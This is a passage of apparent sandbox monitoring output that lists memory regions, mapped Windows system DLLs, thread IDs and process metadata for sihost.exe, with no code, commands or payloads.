"private_0x0000000003e00000" filename = "" Region: id = 1871 start_va = 0xba0000 end_va = 0xbcdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ba0000" filename = "" Region: id = 1872 start_va = 0x7fff12100000 end_va = 0x7fff1216afff monitored = 0 entry_point = 0x7fff121190c0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1873 start_va = 0x3f00000 end_va = 0x40fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003f00000" filename = "" Region: id = 1874 start_va = 0x3f00000 end_va = 0x3ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003f00000" filename = "" Region: id = 1875 start_va = 0x7fff10ac0000 end_va = 0x7fff10b1bfff monitored = 0 entry_point = 0x7fff10ad6f70 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 1876 start_va = 0x7fff0aba0000 end_va = 0x7fff0abd7fff monitored = 0 entry_point = 0x7fff0abb8cc0 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 1877 start_va = 0x7fff0a760000 end_va = 0x7fff0a76afff monitored = 0 entry_point = 0x7fff0a761d30 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 1878 start_va = 0x7fff11220000 end_va = 0x7fff1126afff monitored = 0 entry_point = 0x7fff112235f0 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 1879 start_va = 0x4000000 end_va = 0x40fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004000000" filename = "" Region: id = 1880 start_va = 0x7fff0ab00000 end_va = 0x7fff0ab15fff monitored = 0 entry_point = 0x7fff0ab019f0 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 1881 start_va = 0x7fff0aae0000 end_va = 0x7fff0aaf9fff monitored = 0 entry_point = 0x7fff0aae2430 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 1882 start_va = 0x7fff0fc60000 end_va = 0x7fff0fd09fff monitored = 0 entry_point = 0x7fff0fc87910 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 1883 start_va = 0x7fff092b0000 end_va = 0x7fff092b9fff monitored = 0 entry_point = 0x7fff092b14c0 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 1884 start_va = 0x2e00000 end_va = 0x2edffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 1885 start_va = 0x7fff09290000 end_va = 0x7fff092a3fff monitored = 0 entry_point = 0x7fff09291a50 region_type = mapped_file name = "wlanradiomanager.dll" filename = "\\Windows\\System32\\WlanRadioManager.dll" (normalized: "c:\\windows\\system32\\wlanradiomanager.dll") Region: id = 1886 start_va = 0x7fff0af40000 end_va = 0x7fff0afa0fff monitored = 0 entry_point = 0x7fff0af44b50 region_type = mapped_file name = "wlanapi.dll" filename = "\\Windows\\System32\\wlanapi.dll" (normalized: "c:\\windows\\system32\\wlanapi.dll") Region: id = 1887 start_va = 0x7fff09270000 end_va = 0x7fff09288fff monitored = 0 entry_point = 0x7fff09272180 region_type = mapped_file name = "bthradiomedia.dll" filename = "\\Windows\\System32\\BthRadioMedia.dll" (normalized: "c:\\windows\\system32\\bthradiomedia.dll") Region: id = 1888 start_va = 0x7fff11b70000 end_va = 0x7fff11bb2fff monitored = 0 entry_point = 0x7fff11b84b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 1889 start_va = 0x7fff0fc30000 end_va = 0x7fff0fc56fff monitored = 0 entry_point = 0x7fff0fc37940 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 1890 start_va = 0x7fff09250000 end_va = 0x7fff0926dfff monitored = 0 entry_point = 0x7fff09251690 region_type = mapped_file name = "bluetoothapis.dll" filename = "\\Windows\\System32\\BluetoothApis.dll" (normalized: "c:\\windows\\system32\\bluetoothapis.dll") Region: id = 1891 start_va = 0x4100000 end_va = 0x41fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004100000" filename = "" Region: id = 1892 start_va = 0x7fff101f0000 end_va = 0x7fff10213fff monitored = 0 entry_point = 0x7fff101f3260 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Thread: id = 145 os_tid = 0x598 Thread: id = 146 os_tid = 0x588 Thread: id = 147 os_tid = 0x584 Thread: id = 148 os_tid = 0x580 Thread: id = 149 os_tid = 0x57c Thread: id = 150 os_tid = 0x578 Thread: id = 151 os_tid = 0x574 Thread: id = 152 os_tid = 0x25c Thread: id = 153 os_tid = 0x264 Thread: id = 154 os_tid = 0x260 Thread: id = 155 os_tid = 0x1b0 Thread: id = 156 os_tid = 0x174 Thread: id = 157 os_tid = 0x180 Thread: id = 158 os_tid = 0x150 Thread: id = 159 os_tid = 0x3d4 Thread: id = 160 os_tid = 0x3d0 Thread: id = 161 os_tid = 0x59c Thread: id = 162 os_tid = 0x5a0 Thread: id = 163 os_tid = 0x5a4 Process: id = "11" image_name = "sihost.exe" filename = "c:\\windows\\system32\\sihost.exe" page_root = "0x665c000" os_pid = "0x5d8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "8" os_parent_pid = "0x3f4" cmd_line = "sihost.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000123dd" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1924 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1925 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1926 start_va = 0x50000 end_va = 0xcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 1927 start_va = 0xd0000 end_va = 0xd3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 1928 start_va = 0xe0000 end_va = 0xe1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 1929 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 1930 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1931 start_va = 0x7df5fffc0000 end_va = 0x7df5fffe2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5fffc0000" filename = "" Region: id = 1932 start_va = 0x7df5ffff0000 end_va = 0x7ff5fffeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffff0000" filename = "" Region: id = 1933 start_va = 0x7ff6f6090000 end_va = 0x7ff6f60a5fff monitored = 0 entry_point = 0x7ff6f6095190 region_type = mapped_file name = "sihost.exe" filename = "\\Windows\\System32\\sihost.exe" (normalized: "c:\\windows\\system32\\sihost.exe") Region: id = 1934 start_va = 0x7fff14bd0000 end_va = 0x7fff14d90fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1935 start_va = 0x400000 end_va = 0x61ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 1936 start_va = 0x7fff12dd0000 end_va = 0x7fff12e7cfff monitored = 0 entry_point = 0x7fff12de81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1937 start_va = 0x7fff11280000 end_va = 0x7fff11467fff monitored = 0 entry_point = 0x7fff112aba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1938 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1939 start_va = 0x7df5ffec0000 end_va = 0x7df5fffbffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffec0000" filename = "" Region: id = 1940 start_va = 0xf0000 end_va = 0x1adfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1941 start_va = 0x7fff128b0000 end_va = 0x7fff1294cfff monitored = 0 entry_point = 0x7fff128b78a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1942 start_va = 0x400000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 1943 start_va = 0x520000 end_va = 0x61ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 1944 start_va = 0x7fff12470000 end_va = 0x7fff126ecfff monitored = 0 entry_point = 0x7fff12544970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 1945 start_va = 0x7fff121a0000 end_va = 0x7fff122bbfff monitored = 0 entry_point = 0x7fff121e02b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1946 start_va = 0x7fff11bc0000 end_va = 0x7fff11c29fff monitored = 0 entry_point = 0x7fff11bf6d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 1947 start_va = 0x7fff12410000 end_va = 0x7fff1246afff monitored = 0 entry_point = 0x7fff124238b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1948 start_va = 0x7fff12e80000 end_va = 0x7fff12f26fff monitored = 0 entry_point = 0x7fff12e958d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1949 start_va = 0x20000 end_va = 0x26fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 1950 start_va = 0x7fff106e0000 end_va = 0x7fff10710fff monitored = 0 entry_point = 0x7fff106e7d10 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 1951 start_va = 0x7fff0ead0000 end_va = 0x7fff0eb8dfff monitored = 0 entry_point = 0x7fff0eb12d40 region_type = mapped_file name = "coremessaging.dll" filename = "\\Windows\\System32\\CoreMessaging.dll" (normalized: "c:\\windows\\system32\\coremessaging.dll") Region: id = 1952 start_va = 0x480000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 1953 start_va = 0x7fff08e50000 end_va = 0x7fff090d7fff monitored = 0 entry_point = 0x7fff08eaf670 region_type = mapped_file name = "coreuicomponents.dll" filename = "\\Windows\\System32\\CoreUIComponents.dll" (normalized: "c:\\windows\\system32\\coreuicomponents.dll") Region: id = 1963 start_va = 0x7fff11270000 end_va = 0x7fff1127efff monitored = 0 entry_point = 0x7fff11273210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 1964 start_va = 0x7fff14a70000 end_va = 0x7fff14bc5fff monitored = 0 entry_point = 0x7fff14a7a8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1965 start_va = 0x7fff12f30000 end_va = 0x7fff130b5fff monitored = 0 entry_point = 0x7fff12f7ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1966 start_va = 0x7fff11eb0000 end_va = 0x7fff11f64fff monitored = 0 entry_point = 0x7fff11ef22e0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 1967 start_va = 0x7fff0c380000 end_va = 0x7fff0c4b5fff monitored = 0 entry_point = 0x7fff0c3af350 region_type = mapped_file name = "wintypes.dll" filename = "\\Windows\\System32\\WinTypes.dll" (normalized: "c:\\windows\\system32\\wintypes.dll") Region: id = 1968 start_va = 0x620000 end_va = 0x6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000620000" filename = "" Region: id = 1969 start_va = 0x1b0000 end_va = 0x1b6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 1970 start_va = 0x1c0000 end_va = 0x1f8fff monitored = 0 entry_point = 0x1c12f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1971 start_va = 0x6e0000 end_va = 0x867fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 1972 start_va = 0x7fff12870000 end_va = 0x7fff128aafff monitored = 0 entry_point = 0x7fff128712f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1973 start_va = 0x870000 end_va = 0x9f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000870000" filename = "" Region: id = 1974 start_va = 0xa00000 end_va = 0x1dfffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a00000" filename = "" Region: id = 1975 start_va = 0x1c0000 end_va = 0x1c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 1976 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 1977 start_va = 0x1e00000 end_va = 0x1edcfff monitored = 0 entry_point = 0x1e5e0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 1978 start_va = 0x1e0000 end_va = 0x1e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1979 start_va = 0x7fff126f0000 end_va = 0x7fff12796fff monitored = 0 entry_point = 0x7fff126fb4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1980 start_va = 0x1f0000 end_va = 0x1f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 1981 start_va = 0x7fff08e30000 end_va = 0x7fff08e4dfff monitored = 0 entry_point = 0x7fff08e35340 region_type = mapped_file name = "desktopshellext.dll" filename = "\\Windows\\System32\\DesktopShellExt.dll" (normalized: "c:\\windows\\system32\\desktopshellext.dll") Region: id = 1982 start_va = 0x7fff08e10000 end_va = 0x7fff08e21fff monitored = 0 entry_point = 0x7fff08e15110 region_type = mapped_file name = "windows.shell.servicehostbuilder.dll" filename = "\\Windows\\System32\\Windows.Shell.ServiceHostBuilder.dll" (normalized: "c:\\windows\\system32\\windows.shell.servicehostbuilder.dll") Region: id = 1983 start_va = 0x1e00000 end_va = 0x1efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e00000" filename = "" Region: id = 1984 start_va = 0x1f00000 end_va = 0x1fdcfff monitored = 0 entry_point = 0x1f5e0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 1985 start_va = 0x620000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000620000" filename = "" Region: id = 1986 start_va = 0x6d0000 end_va = 0x6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 1987 start_va = 0x1f00000 end_va = 0x1f7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f00000" filename = "" Region: id = 1988 start_va = 0x1f80000 end_va = 0x1ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f80000" filename = "" Region: id = 1989 start_va = 0x7fff0f1e0000 end_va = 0x7fff0f672fff monitored = 0 entry_point = 0x7fff0f1ef760 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 1990 start_va = 0x7fff08d30000 end_va = 0x7fff08e09fff monitored = 0 entry_point = 0x7fff08d803b0 region_type = mapped_file name = "modernexecserver.dll" filename = "\\Windows\\System32\\modernexecserver.dll" (normalized: "c:\\windows\\system32\\modernexecserver.dll") Thread: id = 166 os_tid = 0x5dc Thread: id = 167 os_tid = 0x5e4 Thread: id = 168 os_tid = 0x5e8 Thread: id = 169 os_tid = 0x5f0 Thread: id = 170 os_tid = 0x5f4 Thread: id = 171 os_tid = 0x5f8